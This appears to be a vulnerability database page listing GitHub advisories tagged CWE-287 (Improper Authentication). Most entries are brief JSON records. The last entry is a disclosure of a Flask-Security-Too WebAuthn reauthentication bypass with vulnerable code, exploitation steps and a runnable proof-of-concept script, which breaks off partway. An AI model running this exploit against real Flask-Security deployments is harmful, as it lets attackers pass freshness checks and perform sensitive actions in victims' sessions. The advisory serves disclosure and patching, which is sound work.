Common Weakness Enumeration

CWE-287

Discouraged

Improper Authentication

Abstraction: Class · Status: Draft

When an actor claims to have a given identity, the product does not prove or insufficiently proves that the claim is correct.

5966 vulnerabilities reference this CWE, most recent first.

GHSA-F5J9-MGC7-GFX4

Vulnerability from github – Published: 2022-05-01 23:50 – Updated: 2022-05-01 23:50
VLAI
Details

pam_sm_authenticate in pam_pgsql.c in libpam-pgsql 0.6.3 does not properly consider operator precedence when evaluating the success of a pam_get_pass function call, which allows local users to gain privileges via a SIGINT signal when this function is executing, as demonstrated by a CTRL-C sequence at a sudo password prompt in an "auth sufficient pam_pgsql.so" configuration.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2008-2516"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2008-06-03T14:32:00Z",
    "severity": "MODERATE"
  },
  "details": "pam_sm_authenticate in pam_pgsql.c in libpam-pgsql 0.6.3 does not properly consider operator precedence when evaluating the success of a pam_get_pass function call, which allows local users to gain privileges via a SIGINT signal when this function is executing, as demonstrated by a CTRL-C sequence at a sudo password prompt in an \"auth sufficient pam_pgsql.so\" configuration.",
  "id": "GHSA-f5j9-mgc7-gfx4",
  "modified": "2022-05-01T23:50:48Z",
  "published": "2022-05-01T23:50:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2008-2516"
    },
    {
      "type": "WEB",
      "url": "https://exchange.xforce.ibmcloud.com/vulnerabilities/42653"
    },
    {
      "type": "WEB",
      "url": "http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=481970"
    },
    {
      "type": "WEB",
      "url": "http://secunia.com/advisories/30391"
    },
    {
      "type": "WEB",
      "url": "http://sourceforge.net/project/shownotes.php?release_id=601775"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/29360"
    },
    {
      "type": "WEB",
      "url": "http://www.securitytracker.com/id?1020111"
    },
    {
      "type": "WEB",
      "url": "http://www.vupen.com/english/advisories/2008/1654/references"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F5J9-PG8J-928P

Vulnerability from github – Published: 2022-05-24 19:10 – Updated: 2022-05-24 19:10
VLAI
Details

Overly Restrictive Account Lockout Mechanism vulnerability in Mitsubishi Electric MELSEC iQ-R series CPU modules (R08/16/32/120SFCPU all versions, R08/16/32/120PSFCPU all versions) allows a remote unauthenticated attacker to lockout a legitimate user by continuously trying login with incorrect password.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-20598"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2021-08-06T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Overly Restrictive Account Lockout Mechanism vulnerability in Mitsubishi Electric MELSEC iQ-R series CPU modules (R08/16/32/120SFCPU all versions, R08/16/32/120PSFCPU all versions) allows a remote unauthenticated attacker to lockout a legitimate user by continuously trying login with incorrect password.",
  "id": "GHSA-f5j9-pg8j-928p",
  "modified": "2022-05-24T19:10:16Z",
  "published": "2022-05-24T19:10:16Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-20598"
    },
    {
      "type": "WEB",
      "url": "https://jvn.jp/vu/JVNVU98578731/index.html"
    },
    {
      "type": "WEB",
      "url": "https://www.mitsubishielectric.com/en/psirt/vulnerability/pdf/2021-010_en.pdf"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F5JX-V2MG-438V

Vulnerability from github – Published: 2024-09-13 12:30 – Updated: 2024-09-13 12:30
VLAI
Details

ColdFusion versions 2023.6, 2021.12 and earlier are affected by an Improper Authentication vulnerability that could result in privilege escalation. An attacker could exploit this vulnerability to gain unauthorized access and affect the integrity of the application. Exploitation of this issue does not require user interaction.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2024-45113"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-09-13T10:15:16Z",
    "severity": "HIGH"
  },
  "details": "ColdFusion versions 2023.6, 2021.12 and earlier are affected by an Improper Authentication vulnerability that could result in privilege escalation. An attacker could exploit this vulnerability to gain unauthorized access and affect the integrity of the application. Exploitation of this issue does not require user interaction.",
  "id": "GHSA-f5jx-v2mg-438v",
  "modified": "2024-09-13T12:30:47Z",
  "published": "2024-09-13T12:30:47Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-45113"
    },
    {
      "type": "WEB",
      "url": "https://helpx.adobe.com/security/products/coldfusion/apsb24-14.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F5P9-3574-5V83

Vulnerability from github – Published: 2022-05-17 05:06 – Updated: 2022-05-17 05:06
VLAI
Details

The Uboot bootloader on the Verizon Wireless Network Extender SCS-2U01 allows physically proximate attackers to bypass the intended boot process and obtain a login prompt by connecting a crafted HDMI cable and sending a SysReq interrupt.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2013-4875"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2013-07-18T16:51:00Z",
    "severity": "MODERATE"
  },
  "details": "The Uboot bootloader on the Verizon Wireless Network Extender SCS-2U01 allows physically proximate attackers to bypass the intended boot process and obtain a login prompt by connecting a crafted HDMI cable and sending a SysReq interrupt.",
  "id": "GHSA-f5p9-3574-5v83",
  "modified": "2022-05-17T05:06:05Z",
  "published": "2022-05-17T05:06:05Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2013-4875"
    },
    {
      "type": "WEB",
      "url": "http://www.kb.cert.org/vuls/id/458007"
    },
    {
      "type": "WEB",
      "url": "http://www.kb.cert.org/vuls/id/BLUU-997M5B"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/61169"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F5Q6-J72G-M599

Vulnerability from github – Published: 2022-05-13 01:08 – Updated: 2025-04-20 03:44
VLAI
Details

An issue was discovered on FiberHome User End Routers Bearing Model Number AN1020-25 which could allow an attacker to easily restore a router to its factory settings by simply browsing to the link http://[Default-Router-IP]/restoreinfo.cgi & execute it. Due to improper authentication on this page, the software accepts the request hence allowing attacker to reset the router to its default configurations which later could allow attacker to login to router by using default username/password.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2017-14147"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2017-09-07T14:29:00Z",
    "severity": "CRITICAL"
  },
  "details": "An issue was discovered on FiberHome User End Routers Bearing Model Number AN1020-25 which could allow an attacker to easily restore a router to its factory settings by simply browsing to the link http://[Default-Router-IP]/restoreinfo.cgi \u0026 execute it. Due to improper authentication on this page, the software accepts the request hence allowing attacker to reset the router to its default configurations which later could allow attacker to login to router by using default username/password.",
  "id": "GHSA-f5q6-j72g-m599",
  "modified": "2025-04-20T03:44:28Z",
  "published": "2022-05-13T01:08:56Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2017-14147"
    },
    {
      "type": "WEB",
      "url": "https://beefaaubee09.github.io/fiberhome-adsls-dos"
    },
    {
      "type": "WEB",
      "url": "https://www.exploit-db.com/exploits/42649"
    },
    {
      "type": "WEB",
      "url": "http://packetstormsecurity.com/files/144022/FiberHome-Unauthenticated-ADSL-Router-Factory-Reset.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F5VW-5HHH-HGVG

Vulnerability from github – Published: 2022-02-12 00:00 – Updated: 2022-02-24 00:01
VLAI
Details

A CWE-287: Improper Authentication vulnerability exists that could allow remote code execution when a malicious file is uploaded. Affected Product: C-Bus Toolkit (V1.15.9 and prior), C-Gate Server (V2.11.7 and prior)

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2021-22796"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-02-11T18:15:00Z",
    "severity": "HIGH"
  },
  "details": "A CWE-287: Improper Authentication vulnerability exists that could allow remote code execution when a malicious file is uploaded. Affected Product: C-Bus Toolkit (V1.15.9 and prior), C-Gate Server (V2.11.7 and prior)",
  "id": "GHSA-f5vw-5hhh-hgvg",
  "modified": "2022-02-24T00:01:21Z",
  "published": "2022-02-12T00:00:45Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2021-22796"
    },
    {
      "type": "WEB",
      "url": "https://download.schneider-electric.com/files?p_Doc_Ref=SEVD-2021-103-01"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F64V-JX47-VJJ6

Vulnerability from github – Published: 2022-05-24 17:33 – Updated: 2022-05-24 17:33
VLAI
Details

Microweber 1.1.18 is affected by broken authentication and session management. Local session hijacking may occur, which could result in unauthorized access to system data or functionality, or a complete system compromise.

Show details on source website

{
  "affected": [],
  "aliases": [
    "CVE-2020-23139"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-287"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-11-09T18:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Microweber 1.1.18 is affected by broken authentication and session management. Local session hijacking may occur, which could result in unauthorized access to system data or functionality, or a complete system compromise.",
  "id": "GHSA-f64v-jx47-vjj6",
  "modified": "2022-05-24T17:33:54Z",
  "published": "2022-05-24T17:33:54Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2020-23139"
    },
    {
      "type": "WEB",
      "url": "https://gist.github.com/virendratiwari03/9fdebe4d0b379d1996238b535add56d6"
    }
  ],
  "schema_version": "1.4.0",
  "severity": []
}

GHSA-F66Q-9RF6-8795

Vulnerability from github – Published: 2026-07-07 23:43 – Updated: 2026-07-07 23:43
VLAI
Summary
Flask-Security-Too: WebAuthn reauthentication freshness bypass via cross-user assertion
Details

Summary

Flask-Security-Too 5.8.0 and 5.8.1 mark a session as reauthentication-fresh after processing a WebAuthn assertion whose proven credential belongs to a different user than the currently authenticated session user. The check that GHSA-97r5-pg8x-p63p added on the OAuth reauthentication path (user.email == current_user.email) is missing on the WebAuthn reauthentication path. An attacker who owns any WebAuthn credential registered to any account on the deployment can satisfy a victim session's freshness gate by submitting their own WebAuthn proof into the victim session.

Affected versions

Flask-Security-Too >= 5.8.0, <= 5.8.1 (current main commit 5c44c76e33a20b67d02115e26d2da4bab18c094e). GHSA-97r5-pg8x-p63p (published 2026-05-22) shipped its fix in 5.8.1 only on oauth_glue.py; webauthn.py was not touched and remains exploitable in 5.8.1.

Privilege required

Authenticated attacker on the same Flask-Security deployment, owning at least one WebAuthn credential of any usage (first / secondary / verify) that is registered to their own account. The attacker also needs the ability to drive HTTP requests against the WebAuthn endpoints inside the victim session (e.g. a separate gadget such as CSRF + cookie-based auth, an XSS that doesn't reach the cookie itself but can move the session through endpoints, or an existing session-fixation gadget; or the rarer but easier case of an attacker who has direct access to the victim's not-yet-fresh session via a shared browser). The point of the freshness gate is to defend exactly that "I have the session but it isn't fresh enough to do sensitive things" position, so any context in which freshness would have protected the victim is also the context in which this bypass matters.

Vulnerable code

flask_security/webauthn.py:846-889 (commit 5c44c76e33a20b67d02115e26d2da4bab18c094e):

@auth_required(lambda: cv("API_ENABLED_METHODS"))
def webauthn_verify_response(token: str) -> ResponseValue:
    form = t.cast(
        WebAuthnSigninResponseForm, build_form_from_request("wan_signin_response_form")
    )

    expired, invalid, state = check_and_get_token_status(
        token, "wan", get_within_delta("WAN_SIGNIN_WITHIN")
    )
    ...
    form.challenge = state["challenge"]
    form.user_verification = state["user_verification"]
    form.is_secondary = False
    form.is_verify = True

    if form.validate_on_submit():
        # update last use and sign count
        after_this_request(view_commit)
        assert form.cred
        assert form.user
        form.cred.lastuse_datetime = _security.datetime_factory()
        form.cred.sign_count = form.authentication_verification.new_sign_count
        _datastore.put(form.cred)

        # verified - so set freshness time.
        session["fs_paa"] = time.time()
        ...

flask_security/webauthn.py:276-308 (the form's validate()):

def validate(self, **kwargs: t.Any) -> bool:
    if not super().validate(**kwargs):
        return False  # pragma: no cover
    ...
    try:
        auth_cred = parse_authentication_credential_json(self.credential.data)
    except (...):
        ...
        return False

    # Look up credential Id (raw_id) and user. 7.2.6/7
    self.cred = _datastore.find_webauthn(credential_id=auth_cred.raw_id)
    ...
    # This shouldn't be able to happen if datastore properly cascades delete
    self.user = _datastore.find_user_from_webauthn(self.cred)

self.user is resolved from the attacker-controlled credential_id and is never compared to current_user. The state token issued by _signin_common (webauthn.py:589-622) carries only {challenge, user_verification}, so state tokens are not bound to any user and replay portably across sessions:

def _signin_common(user: UserMixin | None, usage: list[str]) -> tuple[t.Any, str]:
    ...
    state = {
        "challenge": challenge,
        "user_verification": uv,
    }
    ...
    state_token = t.cast(str, _security.wan_serializer.dumps(state))
    return o_json, state_token

Contrast with the patch in oauth_glue.py:211 that GHSA-97r5-pg8x-p63p shipped:

next_loc = session.pop("fs_oauth_next", None)
if user and user.email == current_user.email:
    # verified - so set freshness time.
    session["fs_paa"] = time.time()

That user.email == current_user.email clamp is the missing check on the WebAuthn side.

How input reaches the sink

  1. Attacker logs in to their own account and registers their own WebAuthn credential (call it cred_attacker). They retain a copy of any valid navigator.credentials.get() assertion JSON produced by their authenticator (one signature is enough; can also be produced fresh on demand per request).
  2. Attacker holds, or gets, a victim session in a state where fs_paa is past FRESHNESS. The victim is authenticated as themselves; the gate stops them from invoking freshness-protected business endpoints (/change, /change-username, /wf-add, /us-setup, anything decorated with @auth_required(within=...)).
  3. The victim session calls POST /wan-verify and receives a wan_state token. The state token has no user binding.
  4. Attacker submits an assertion that proves possession of cred_attacker, inside the victim session, to POST /wan-verify/<wan_state>.
  5. WebAuthnSigninResponseForm.validate resolves form.user to the attacker account from find_user_from_webauthn(self.cred), signs/verifies the assertion against the (attacker-controlled) public key it stored at registration time, and returns True. The user-handle check on auth_cred.response.user_handle (if present) compares against self.user.fs_webauthn_user_handle, i.e. it compares attacker user-handle to attacker user, so it passes trivially.
  6. webauthn_verify_response then writes session["fs_paa"] = time.time(). The session user is unchanged (still the victim) but the freshness clock is reset by a cryptographic proof of the attacker's authenticator.
  7. Any subsequent @auth_required(within=...) endpoint now succeeds inside the victim session.

End-to-end reproduction

Reproduction is an in-process Flask test client driving the published wheel (pip install Flask-Security-Too==5.8.0, also re-run against 5.8.1 since GHSA-97r5-pg8x-p63p's fix shipped with that release only touched oauth_glue.py). The full transcript is in the Proof of concept section below; here is the boot recipe:

python3.12 -m venv venv
source venv/bin/activate
pip install --quiet 'Flask-Security-Too==5.8.0' Flask-SQLAlchemy webauthn email-validator argon2_cffi
python poc.py

Captured run-time output (5.8.0 path):

=== Submit BOB's WebAuthn assertion to Alice's /wan-verify-response ===
  cross-user assertion status: 200
  alice fs_uniquifier in session AFTER: '408245d132bc4213a55606c46f40e038'   # still Alice
  fs_paa BEFORE: 1779582282.550872
  fs_paa AFTER : 1779585882.615287                                            # advanced
=== Demonstrate impact: /sensitive (freshness-protected) accepted ===
  /sensitive after cross-user verify status: 200

Re-run against 5.8.1 produces the same 200 on the cross-user assertion and the same 200 on the freshness-gated endpoint, confirming that the patch for GHSA-97r5-pg8x-p63p did not extend to the WebAuthn path.

Proof of concept

Mocked WebAuthn fixtures (REG_DATA_UV, SIGNIN_DATA_UV, REG_DATA1, SIGNIN_DATA1) and HackWebauthnUtil are lifted verbatim from the project's own test suite (tests/test_webauthn.py) which pins the challenge so a recorded assertion blob can be replayed; this does not bypass any cryptographic check inside webauthn.verify_authentication_response, it just substitutes the test-suite's own WebauthnUtil so the recorded blobs can be exercised against a running app instance. In a real-world deployment the attacker uses their own authenticator producing fresh assertions per request.

poc.py (complete, runnable; the REG_DATA* / SIGNIN_DATA* fixtures are the project's own tests/test_webauthn.py blobs, reproduced in full):

"""
E2E PoC for Flask-Security-Too 5.8.0 WebAuthn reauthentication freshness bypass
via cross-user assertion.

Sibling of GHSA-97r5-pg8x-p63p (OAuth path, fixed in 5.8.1). The WebAuthn
verify path (`webauthn.py:847-889 webauthn_verify_response` +
`webauthn.py:276-366 WebAuthnSigninResponseForm.validate`) sets
`session["fs_paa"] = time.time()` whenever a syntactically valid WebAuthn
assertion completes, without checking that the assertion's resolved user
equals the current session user.

Setup:
  - Alice and Bob both registered as users.
  - Each registers their own WebAuthn credential (REG_DATA_UV for Alice as
    primary-usage key, REG_DATA1 for Bob as primary-usage key).
  - Alice authenticates via password. Her freshness timestamp is rolled back
    to simulate a stale session (the standard reauthn precondition).
  - Alice's session attempts /wan-verify and gets a state_token. The state
    token only contains {challenge, user_verification} -- no user binding.
  - Alice's session POSTs to /wan-verify/<state_token> with BOB's WebAuthn
    credential signature (SIGNIN_DATA1).
  - validate() resolves form.user from Bob's credential_id without checking
    against current_user. webauthn_verify_response writes
    session["fs_paa"] = time.time().
  - Alice now passes the freshness gate using a proof of Bob's credential.

Outcome: a freshness-protected endpoint (/fresh, /change-username, etc.)
responds 200 for Alice's session even though the only credential proof
provided was Bob's. This is the same trust-contract violation that
GHSA-97r5-pg8x-p63p patched on the OAuth path.
"""

import copy
import datetime as dt
import json
import re
import time
from datetime import timedelta

from flask import Flask, jsonify
from flask_sqlalchemy import SQLAlchemy
from flask_security import (
    Security,
    SQLAlchemyUserDatastore,
    auth_required,
    hash_password,
)
from flask_security.models import fsqla_v3 as fsqla
from flask_security.webauthn_util import WebauthnUtil

# Fixtures lifted verbatim from tests/test_webauthn.py
CHALLENGE = "smCCiy_k2CqQydSQ_kPEjV5a2d0ApfatcpQ1aXDmQPo"

REG_DATA_UV = {
    "id": "s3xZpfGy0ZH-sSkfxIsgChwbkw_O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy",
    "rawId": "s3xZpfGy0ZH-sSkfxIsgChwbkw_O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy",
    "type": "public-key",
    "response": {
        "attestationObject": "o2NmbXRkbm9uZWdhdHRTdG10oGhhdXRoRGF0YVjC"
        "SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2PFAAAABAAAAA"
        "AAAAAAAAAAAAAAAAAAMLN8WaXxstGR_rEpH8SLIAocG5MPztIzhbWXi"
        "dS11DBGvGrRtaBLJDaphSQn4CmRsqUBAgMmIAEhWCCzfFml8bLRkf"
        "6xKR_EUnaoI333MuxRlv5-LwojDibdTyJYIFMifFwn-RfkDDgsTHF"
        "jWgE6bld-Jc4nhFMTkQja9P8IoWtjcmVkUHJvdGVjdAI",
        "clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uY3JlYXRlIiwiY2hhbGxlbmdlIjoiYzI"
        "xRFEybDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlY"
        "UmpjRkV4WVZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2Nhb"
        "Ghvc3Q6NTAwMSIsImNyb3NzT3JpZ2luIjpmYWxzZX0",
        "transports": ["nfc", "usb"],
    },
    "extensions": '{"credProps":{"rk":true}}',
}
SIGNIN_DATA_UV = {
    "id": "s3xZpfGy0ZH-sSkfxIsgChwbkw_O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy",
    "rawId": "s3xZpfGy0ZH-sSkfxIsgChwbkw_O0jOFtZeJ1LXUMEa8atG1oEskNqmFJCfgKZGy",
    "type": "public-key",
    "response": {
        "authenticatorData": "SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2MFAAAABQ==",
        "clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiYzIxRFEy"
        "bDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlYUmpjRkV4W"
        "VZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6NTAwMSI"
        "sImNyb3NzT3JpZ2luIjpmYWxzZX0=",
        "signature": "MEUCIQDR0m9Ob4nqVGiAPUf1Tu5XohDh2frl1LJ6G41GURlUIgIgKUPfkw"
        "AjP2863L2nDhcR2EKqoGEQLqlQ5xymZstyO6o=",
    },
    "assertionClientExtensions": "{}",
}
REG_DATA1 = {
    "id": "wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc",
    "rawId": "wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc",
    "type": "public-key",
    "response": {
        "attestationObject": "o2NmbXRkbm9uZWdhdHRTdG10oGhhdXRoRGF0YVikSZYN5YgOjGh0NB"
        "cPZHZgW4_krrmihjLHmVzzuoMdl2NFAAAAAQAAAAAAAAAAAAAAAAAAA"
        "AAAIMFFKjTo2N-XXE_r6YpGaWcfk_dTYyHuD6q1fI-42DznpQECAy"
        "YgASFYIFRipoWMEiDuCtLUvSlqCFZBqxvUuNqZKavlWgvN2BK8Il"
        "ggLOV4eez9k0det5oIZGyKanGkmWa0hygnjjFmf8Rep6c",
        "clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uY3JlYXRlIiwiY2hhbGxlbmdlIjoiYzIxR"
        "FEybDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlYUmpjRk"
        "V4WVZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6NT"
        "AwMSIsImNyb3NzT3JpZ2luIjpmYWxzZX0",
        "transports": ["usb"],
    },
    "extensions": '{"credProps": {}}',
}
SIGNIN_DATA1 = {
    "id": "wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc",
    "rawId": "wUUqNOjY35dcT-vpikZpZx-T91NjIe4PqrV8j7jYPOc",
    "type": "public-key",
    "response": {
        "authenticatorData": "SZYN5YgOjGh0NBcPZHZgW4_krrmihjLHmVzzuoMdl2MBAAAABQ==",
        "clientDataJSON": "eyJ0eXBlIjoid2ViYXV0aG4uZ2V0IiwiY2hhbGxlbmdlIjoiYzIxRFEy"
        "bDVYMnN5UTNGUmVXUlRVVjlyVUVWcVZqVmhNbVF3UVhCbVlYUmpjRkV4"
        "WVZoRWJWRlFidyIsIm9yaWdpbiI6Imh0dHA6Ly9sb2NhbGhvc3Q6NTAw"
        "MSIsImNyb3NzT3JpZ2luIjpmYWxzZX0=",
        "signature": "MEUCIH5VdRXxfnoxfrVk72gvWAn91QH-l2UrIohk5YOWi9XpAiEAn6f9oHtFS"
        "68HVf6K_Ku0L33C0sID2HzpJWSiTNgJlbU=",
    },
    "assertionClientExtensions": "{}",
}


class HackWebauthnUtil(WebauthnUtil):
    """Mirrors tests/test_webauthn.py: pins the challenge to the value embedded
    in REG_DATA / SIGNIN_DATA so the cryptographic verification accepts the
    pre-recorded blobs. Standard PoC technique used by the project's own test
    suite. Does NOT change the vulnerable code path."""

    def generate_challenge(self, nbytes=None):
        return CHALLENGE

    def origin(self):
        return "http://localhost:5001"


def build_app():
    app = Flask(__name__)
    app.config["SECRET_KEY"] = "poc-secret"
    app.config["SECURITY_PASSWORD_SALT"] = "poc-salt"
    app.config["SQLALCHEMY_DATABASE_URI"] = "sqlite:///:memory:"
    app.config["SQLALCHEMY_TRACK_MODIFICATIONS"] = False
    app.config["WTF_CSRF_ENABLED"] = False
    app.config["SERVER_NAME"] = "localhost:5001"

    app.config["SECURITY_WEBAUTHN"] = True
    app.config["SECURITY_WAN_ALLOW_AS_FIRST_FACTOR"] = True
    app.config["SECURITY_WAN_ALLOW_AS_VERIFY"] = ["first", "secondary"]
    app.config["SECURITY_WAN_ALLOW_AS_MULTI_FACTOR"] = True
    app.config["SECURITY_FRESHNESS"] = timedelta(minutes=1)
    app.config["SECURITY_FRESHNESS_GRACE_PERIOD"] = timedelta(seconds=0)
    app.config["SECURITY_CHANGEABLE"] = True
    app.config["SECURITY_USERNAME_ENABLE"] = False
    app.config["SECURITY_FRESHNESS"] = timedelta(seconds=10)

    db = SQLAlchemy(app)
    fsqla.FsModels.set_db_info(db)

    class Role(db.Model, fsqla.FsRoleMixin):
        pass

    class WebAuthn(db.Model, fsqla.FsWebAuthnMixin):
        pass

    class User(db.Model, fsqla.FsUserMixin):
        pass

    ds = SQLAlchemyUserDatastore(db, User, Role, WebAuthn)
    app.security = Security(
        app, datastore=ds, webauthn_util_cls=HackWebauthnUtil
    )

    # A representative freshness-protected business endpoint. Same gate the
    # built-in /change, /change-username, /wf-add etc. use.
    @app.route("/sensitive", methods=["POST"])
    @auth_required(
        within=lambda: app.config["SECURITY_FRESHNESS"],
        grace=lambda: app.config["SECURITY_FRESHNESS_GRACE_PERIOD"],
    )
    def sensitive():
        return jsonify({"ok": True}), 200

    with app.app_context():
        db.create_all()
        ds.create_user(
            email="alice@example.com",
            password=hash_password("alice-password"),
            confirmed_at=dt.datetime.now(dt.timezone.utc),
        )
        ds.create_user(
            email="bob@example.com",
            password=hash_password("bob-password"),
            confirmed_at=dt.datetime.now(dt.timezone.utc),
        )
        db.session.commit()

    return app


def _register_start_json(client, name, usage="first"):
    resp = client.post("/wan-register", json=dict(name=name, usage=usage))
    assert resp.status_code == 200, resp.data
    return f'/wan-register/{resp.json["response"]["wan_state"]}'


def login_password(client, email, password):
    resp = client.post(
        "/login",
        json=dict(email=email, password=password),
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    assert resp.status_code == 200, resp.data
    return resp


def logout(client):
    return client.post(
        "/logout",
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )


def step(label):
    print(f"\n=== {label} ===")


def main():
    app = build_app()

    print(f"flask-security version under test: {__import__('flask_security').__version__}")

    # Step 1: Bob logs in, registers his WebAuthn credential, logs out
    step("Bob registers his WebAuthn credential (attacker's own key)")
    bob_client = app.test_client()
    login_password(bob_client, "bob@example.com", "bob-password")
    url = _register_start_json(bob_client, name="bobkey", usage="first")
    r = bob_client.post(url, json=dict(credential=json.dumps(REG_DATA1)))
    assert r.status_code == 200, r.data
    print(f"  bob register status: {r.status_code}")
    logout(bob_client)

    # Step 2: Alice logs in, registers her own WebAuthn credential, stays logged in
    step("Alice registers her own WebAuthn credential (victim's key)")
    alice_client = app.test_client()
    login_password(alice_client, "alice@example.com", "alice-password")
    url = _register_start_json(alice_client, name="alicekey", usage="first")
    r = alice_client.post(url, json=dict(credential=json.dumps(REG_DATA_UV)))
    assert r.status_code == 200, r.data
    print(f"  alice register status: {r.status_code}")

    # Step 3: Confirm Alice's session can hit /sensitive while fresh (sanity)
    step("Confirm /sensitive works while session is fresh")
    r = alice_client.post(
        "/sensitive",
        json=dict(),
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    print(f"  /sensitive while fresh status: {r.status_code}")
    assert r.status_code == 200, r.data

    # Step 4: Roll Alice's fs_paa back to simulate a stale session
    step("Stale Alice's session (roll fs_paa back past FRESHNESS)")
    with alice_client.session_transaction() as sess:
        old_paa = sess["fs_paa"] - 3600
        sess["fs_paa"] = old_paa
        sess.pop("fs_gexp", None)
        alice_identity = sess.get("_user_id")
    print(f"  alice fs_uniquifier in session: {alice_identity!r}")
    print(f"  alice fs_paa now: {old_paa}")

    # Step 5: Confirm freshness gate now denies Alice
    step("Confirm /sensitive now requires reauth (401 reauth_required)")
    r = alice_client.post(
        "/sensitive",
        json=dict(),
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    print(f"  /sensitive after stale status: {r.status_code}")
    print(f"  body: {r.json}")
    assert r.status_code == 401
    assert r.json["response"]["reauth_required"] is True

    # Step 6: Alice's session calls /wan-verify -> gets state_token.
    # The state_token contains {challenge, user_verification} only -- no user
    # binding -- and the WebAuthn challenge it embeds is the pinned constant
    # CHALLENGE because HackWebauthnUtil overrides generate_challenge. That
    # matches the challenge baked into Bob's pre-recorded SIGNIN_DATA1.
    step("Alice fetches /wan-verify state_token")
    r = alice_client.post(
        "/wan-verify",
        json=dict(),
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    assert r.status_code == 200, r.data
    wan_state = r.json["response"]["wan_state"]
    print(f"  wan_state acquired (truncated): {wan_state[:80]}...")

    # Step 7: Alice's session POSTs Bob's SIGNIN_DATA to /wan-verify/<state_token>.
    # WebAuthnSigninResponseForm.validate() resolves form.user from
    # SIGNIN_DATA1.id == Bob's credential id, and never checks form.user ==
    # current_user. webauthn_verify_response then writes
    # session["fs_paa"] = time.time() on Alice's session.
    step("Submit BOB's WebAuthn assertion to Alice's /wan-verify-response")
    r = alice_client.post(
        f"/wan-verify/{wan_state}",
        json=dict(credential=json.dumps(SIGNIN_DATA1)),
        headers={"Content-Type": "application/json", "Accept": "application/json"},
    )
    print(f"  cross-user assertion status: {r.status_code}")
    print(f"  body: {r.json}")
    assert r.status_code == 200, "Expected webauthn_verify_response to accept cross-user assertion"

    # Step 8: Inspect Alice's session. fs_paa should be freshly updated even
    # though the proof was Bob's credential.
